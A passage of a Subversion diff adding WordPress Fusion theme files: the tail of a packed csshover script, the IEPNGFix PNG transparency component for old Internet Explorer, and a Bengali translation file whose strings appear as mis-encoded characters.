h.18(a,b,c)}1z{h.11()}}})();',62,98,'|||this|var||||function|activator|||||||||||||deactivator|if|className|elements|null|window||callbacks|return|length|for|csshover|unload||node|type|hover|active|focus|test|parseStylesheet|imports|try|catch|style|affected|pseudo|replace|newSelect|CSSHoverElement|attachEvent|CSSHover|REG_AFFECTED|REG_PSEUDO|REG_SELECT|z0|9_|REG_CLASS|on|REG_MSIE|REG_COMPAT|init|document|securityException|parseCSSRule|exec|addRule|true|patch|new|onfocus|detachEvent|gi|msie|backcompat|csh|navigator|userAgent|compatMode|styleSheets|rules|selectorText|cssText|expression|push|onbeforeunload|onhover|onmouseenter|onmouseleave|onactive|onmousedown|onmouseup|onblur|RegExp|prototype|else'.split('|'),0,{}));
+
+</script>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6pngfix.htc
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6pngfix.htc	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/js/ie6pngfix.htc	(revision 44)
@@ -0,0 +1,187 @@
+<public:component>
+<script type="text/javascript">
+
+// IE5.5+ PNG Alpha Fix v2.0 Alpha
+// (c) 2004-2008 Angus Turnbull http://www.twinhelix.com
+
+// This is licensed under the GNU LGPL, version 2.1 or later.
+// For details, see: http://creativecommons.org/licenses/LGPL/2.1/
+
+var IEPNGFix = window.IEPNGFix || {};
+IEPNGFix.data = IEPNGFix.data || {};
+
+
+// This must be a path to a blank image, relative to the HTML document(s).
+// In production use I suggest '/images/blank.gif' or similar. That's all!
+IEPNGFix.blankImg = blankimgpath;
+
+
+IEPNGFix.fix = function(elm, src, t) {
+	// Applies an image 'src' to an element 'elm' using the DirectX filter.
+	// If 'src' is null, filter is disabled.
+	// Disables the 'hook' to prevent infinite recursion on setting BG/src.
+	// 't' = type, where background tile = 0, background = 1, IMG SRC = 2.
+
+	var h = this.hook.enabled;
+	this.hook.enabled = 0;
+
+	var f = 'DXImageTransform.Microsoft.AlphaImageLoader';
+		src = (src || '').replace(/\(/g, '%28').replace(/\)/g, '%29');
+
+	if (
+		src && !(/IMG|INPUT/.test(elm.nodeName) && (t != 2)) &&
+		elm.currentStyle.width == 'auto' && elm.currentStyle.height == 'auto'
+	) {
+		elm.style.width = elm.offsetWidth + 'px';
+		elm.style.height = elm.clientHeight + 'px';
+		if (elm.currentStyle.display == 'inline') {
+			elm.style.display = 'inline-block';
+		}
+	}
+
+	if (t == 1) {
+		elm.style.backgroundImage = 'url("' + this.blankImg + '")';
+	}
+	if (t == 2) {
+		elm.src = this.blankImg;
+	}
+
+	if (elm.filters[f]) {
+		elm.filters[f].enabled = src ? true : false;
+		if (src) {
+			elm.filters[f].src = src;
+		}
+	} else if (src) {
+		elm.style.filter = 'progid:' + f + '(src="' + src +
+			'",sizingMethod="' + (t == 2 ? 'scale' : 'crop') + '")';
+	}
+
+	this.hook.enabled = h;
+};
+
+
+IEPNGFix.process = function(elm, init) {
+	// Checks the onpropertychange event (on first 'init' run, a fake event)
+	// and calls the filter-applying-functions.
+
+	if (
+		!/MSIE (5\.5|6)/.test(navigator.userAgent) ||
+		typeof elm.filters == 'unknown'
+	) {
+		return;
+	}
+	if (!this.data[elm.uniqueID]) {
+		this.data[elm.uniqueID] = {
+			className: ''
+		};
+	}
+	var data = this.data[elm.uniqueID],
+		evt = init ? { propertyName: 'src,backgroundImage' } : event,
+		isSrc = /src/.test(evt.propertyName),
+		isBg = /backgroundImage/.test(evt.propertyName),
+		isPos = /width|height|background(Pos|Rep)/.test(evt.propertyName),
+		isClass = !init && ((elm.className != data.className) &&
+			(elm.className || data.className));
+	if (!(isSrc || isBg || isPos || isClass)) {
+		return;
+	}
+	data.className = elm.className;
+	var blank = this.blankImg.match(/([^\/]+)$/)[1],
+		eS = elm.style,
+		eCS = elm.currentStyle;
+
+	// Required for Whatever:hover - erase set BG if className changes.
+	if (
+		isClass && (eS.backgroundImage.indexOf('url(') == -1 ||
+		eS.backgroundImage.indexOf(blank) > -1)
+	) {
+		return setTimeout(function() {
+			eS.backgroundImage = '';
+		}, 0);
+	}
+
+	// Foregrounds.
+	if (isSrc && elm.src &&  { IMG: 1, INPUT: 1 }[elm.nodeName]) {
+		if ((/\.png/i).test(elm.src)) {
+			this.fix(elm, elm.src, 2);
+		} else if (elm.src.indexOf(blank) == -1) {
+			this.fix(elm, '');
+		}
+	}
+
+	// Backgrounds.
+	var bgSrc = eCS.backgroundImage || eS.backgroundImage;
+	if ((bgSrc + elm.src).indexOf(blank) == -1) {
+		var bgPNG = bgSrc.match(/url[("']+(.*\.png[^\)"']*)[\)"']/i);
+		if (bgPNG) {
+			if (this.tileBG && !{ IMG: 1, INPUT: 1 }[elm.nodeName]) {
+				this.tileBG(elm, bgPNG[1]);
+				this.fix(elm, '', 1);
+			} else {
+				if (data.tiles && data.tiles.src) {
+					this.tileBG(elm, '');
+				}
+				this.fix(elm, bgPNG[1], 1);
+				this.childFix(elm);
+			}
+		} else {
+			if (data.tiles && data.tiles.src) {
+				this.tileBG(elm, '');
+			}
+			this.fix(elm, '');
+		}
+	} else if ((isPos || isClass) && data.tiles && data.tiles.src) {
+		this.tileBG(elm, data.tiles.src);
+	}
+
+	if (init) {
+		this.hook.enabled = 1;
+		elm.attachEvent('onpropertychange', this.hook);
+	}
+};
+
+
+IEPNGFix.childFix = function(elm) {
+	// "hasLayout" fix for unclickable children inside PNG backgrounds.
+	var tags = [
+			'a',
+			'input',
+			'select',
+			'textarea',
+			'button',
+			'iframe',
+			'object'
+		],
+		t = tags.length,
+		tFix = [];
+	while (t--) {
+		var pFix = elm.all.tags(tags[t]),
+			e = pFix.length;
+		while (e--) {
+			tFix.push(pFix[e]);
+		}
+	}
+	t = tFix.length;
+	if (t && (/relative|absolute/i).test(elm.currentStyle.position)) {
+		alert('IEPNGFix: Unclickable children of element:' +
+			'\n\n<' + elm.nodeName + (elm.id && ' id=' + elm.id) + '>');
+	}
+	while (t--) {
+		if (!(/relative|absolute/i).test(tFix[t].currentStyle.position)) {
+			tFix[t].style.position = 'relative';
+		}
+	}
+};
+
+
+IEPNGFix.hook = function() {
+	if (IEPNGFix.hook.enabled) {
+		IEPNGFix.process(element, 0);
+	}
+};
+
+
+IEPNGFix.process(element, 1);
+
+</script>
+</public:component>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/bn_BD.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/bn_BD.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/bn_BD.po	(revision 44)
@@ -0,0 +1,576 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.2\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-22 14:32+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: \n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: English\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠ¿"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "àŠ¶à§àŠ°à§àŠ£à§àŠ
+àŠšà§àŠžàŠŸàŠ°à§ àŠàŠ°à§àŠàŠŸàŠàŠ­: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "àŠªà§àŠžà§àŠ àŠà§àŠàŠŸ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "àŠàŠ°à§àŠàŠŸàŠàŠ­àŠ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "àŠ²à§àŠàŠ àŠàŠ°à§àŠàŠŸàŠàŠ­"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "àŠ¬à§àŠ²àŠ àŠàŠ°à§àŠàŠŸàŠàŠ­"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "àŠžà§àŠ¥àŠŸà§à§ àŠ²àŠ¿àŠà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "%s àŠàŠ°à§àŠ€à§àŠ %s àŠ àŠªà§àŠ°àŠàŠŸàŠ¶àŠ¿àŠ€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "%s àŠàŠ°à§àŠ€à§àŠ àŠªà§àŠžà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr " - "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "àŠ²à§àŠàŠŸàŠ° àŠ¬àŠŸàŠàŠ¿ àŠ
+àŠàŠ¶àŠà§àŠà§ àŠªà§à§àŠš &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "àŠ®àŠšà§àŠ€àŠ¬à§àŠ¯ àŠšà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "à§§àŠàŠ¿ àŠ®àŠšà§àŠ€àŠ¬à§àŠ¯"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "%àŠàŠ¿ àŠ®àŠšà§àŠ€àŠ¬à§àŠ¯"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; àŠªà§àŠ°àŠŸàŠšà§ àŠ²à§àŠàŠŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "àŠšàŠ€à§àŠš àŠ²à§àŠàŠŸ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, %s àŠ¶à§àŠ°à§àŠ£à§àŠ€à§ àŠàŠàŠšàŠ àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠšà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, àŠàŠ àŠ€àŠŸàŠ°àŠ¿àŠà§ àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠšà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "àŠŠà§àŠàŠà§àŠ·àŠ¿àŠ€, %s àŠàŠ° àŠàŠàŠšàŠ àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠšà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "àŠà§àŠšàŠ àŠªà§àŠžà§àŠ àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠ¿"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "àŠ®àŠŸàŠž àŠ­àŠ¿àŠ€à§àŠ€àŠ¿àŠ àŠàŠ°à§àŠàŠŸàŠàŠ­"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "àŠ¬àŠ¿àŠ·à§àŠ­àŠ¿àŠ€à§àŠ€àŠ¿àŠ àŠàŠ°à§àŠàŠŸàŠàŠ­"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "àŠàŠ àŠ¬à§àŠ¯àŠ¬àŠ¹àŠŸàŠ°àŠàŠŸàŠ°à§ àŠà§àŠšàŠ àŠàŠ€à§àŠ®àŠà§àŠ¬àŠšà§àŠ®à§àŠ²àŠ àŠ€àŠ¥à§àŠ¯ àŠžàŠ°àŠ¬àŠ°àŠŸàŠ¹ àŠàŠ°à§àŠš àŠšàŠ¿"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "àŠ®à§àŠ²àŠªàŠŸàŠ€àŠŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "àŠà§àŠŸàŠ¹à§! àŠ®à§àŠ¯àŠŸàŠžà§àŠà§àŠàŠŸàŠ°"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "àŠà§àŠàŠ² àŠàŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l, F jS, Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "àŠà§àŠàŠŸàŠžàŠ®à§àŠ¹:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "àŠªà§àŠžà§àŠ àŠàŠ°àŠŸ àŠ¹à§à§àŠà§"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "àŠžàŠ®à§àŠªàŠŸàŠŠàŠšàŠŸ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "àŠàŠ àŠ²à§àŠàŠà§àŠ° àŠà§àŠšàŠ àŠ²à§àŠàŠŸ àŠªàŠŸàŠà§àŠŸ àŠ¯àŠŸà§ àŠšàŠŸàŠà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠŠà§àŠàŠ€à§ àŠàŠªàŠšàŠŸàŠ° àŠªàŠŸàŠžàŠà§àŠŸàŠ°à§àŠ¡ àŠŠàŠ¿àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "àŠà§àŠ°à§àŠ¯àŠŸàŠ àŠ¬à§àŠ¯àŠŸàŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "àŠà§àŠš àŠ®àŠ€àŠŸàŠ®àŠ€ àŠšà§àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠŠàŠ¿àŠ€à§ àŠ¹àŠ²à§ àŠàŠªàŠšàŠŸàŠà§ <a href=\"%s\">àŠ²àŠ àŠàŠš</a> àŠàŠ°àŠ€à§ àŠ¹àŠ¬à§à¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "àŠàŠ¬àŠŸàŠ¬ àŠ¬àŠŸàŠ€àŠ¿àŠ²"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "àŠ²àŠ àŠàŠ°àŠŸ àŠ¹à§à§àŠà§àŠ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "àŠ²àŠ àŠàŠàŠ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "àŠ²àŠ àŠàŠàŠ &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "àŠàŠ¬àŠŸàŠ°à§ àŠžà§àŠ¬àŠŸàŠàŠ€àŠ®, <strong>%s</strong>"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "àŠªàŠ°àŠ¿àŠ¬àŠ°à§àŠ€àŠš àŠàŠ°à§àŠš &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "àŠ¬àŠšà§àŠ§ àŠàŠ°à§àŠš &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "àŠšàŠŸàŠ®"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(àŠàŠ¬à§àŠ¶à§àŠ¯àŠà§à§)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "àŠ-àŠ®à§àŠàŠ²"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(àŠªà§àŠ°àŠàŠŸàŠ¶àŠ¿àŠ€ àŠ¹àŠ¬à§ àŠšàŠŸ)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "àŠà§à§àŠ¬ àŠžàŠŸàŠàŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠªà§àŠ°àŠŠàŠŸàŠš àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "àŠàŠàŠšàŠ àŠà§àŠšàŠ àŠà§àŠ°à§àŠ¯àŠŸàŠàŠ¬à§àŠ¯àŠŸàŠ àŠšà§àŠà¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ àŠªà§àŠ°àŠŠàŠŸàŠš àŠ¬àŠšà§àŠ§ àŠàŠà§à¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion àŠ¥à§àŠ®àŠàŠ¿ "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "àŠªàŠŸàŠà§àŠŸàŠ°à§àŠ¡ àŠ¬àŠŸàŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "àŠšàŠ¿àŠ¬àŠšà§àŠ§àŠš (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "àŠàŠ¬àŠ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "àŠ®àŠ€àŠŸàŠ®àŠ€ (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "àŠ²à§àŠàŠŸàŠ° àŠàŠàŠŸàŠ° àŠà§àŠ/àŠ¬à§ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "àŠžà§àŠ¥àŠ¿àŠ° àŠ àŠªàŠ°àŠ¿àŠ¬àŠ°à§àŠ€àŠšàŠ¶à§àŠ² àŠªà§àŠ°àŠžà§àŠ¥à§àŠ° àŠ®àŠ§à§àŠ¯à§ àŠšàŠ¿àŠ°à§àŠ¬àŠŸàŠàŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Fusion àŠ¥à§àŠ® àŠàŠ° àŠªàŠ°àŠ¿àŠ¬àŠ°à§àŠ€àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "àŠ®à§àŠàŠŸ àŠ¶àŠ¬à§àŠŠ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "àŠàŠ®àŠŸ àŠŠàŠ¿à§à§ àŠàŠ²àŠŸàŠŠàŠŸ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "àŠ¬àŠŸàŠ®"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "àŠžàŠàŠ°àŠà§àŠ·àŠ£ àŠàŠ°à§àŠš"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "by"
+msgstr "->"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s àŠ %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "H:i"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:207
+msgid "Your comment is awaiting moderation."
+msgstr "àŠàŠªàŠšàŠŸàŠ° àŠ®àŠ€àŠŸàŠ®àŠ€ àŠ¯àŠŸàŠàŠŸàŠ àŠ¬àŠŸàŠàŠŸàŠ àŠàŠ° àŠ
+àŠªà§àŠà§àŠ·àŠŸà§ àŠ°à§à§àŠà§à¥€"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Reply"
+msgstr "àŠàŠ¬àŠŸàŠ¬"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Quote"
+msgstr "àŠàŠ§à§àŠ€àŠ¿"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "àŠàŠªàŠšàŠ¿ àŠàŠàŠš àŠ®à§àŠ² àŠªàŠŸàŠ€àŠŸà§"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "àŠ®à§àŠ²àŠªàŠŸàŠ€àŠŸ"
+
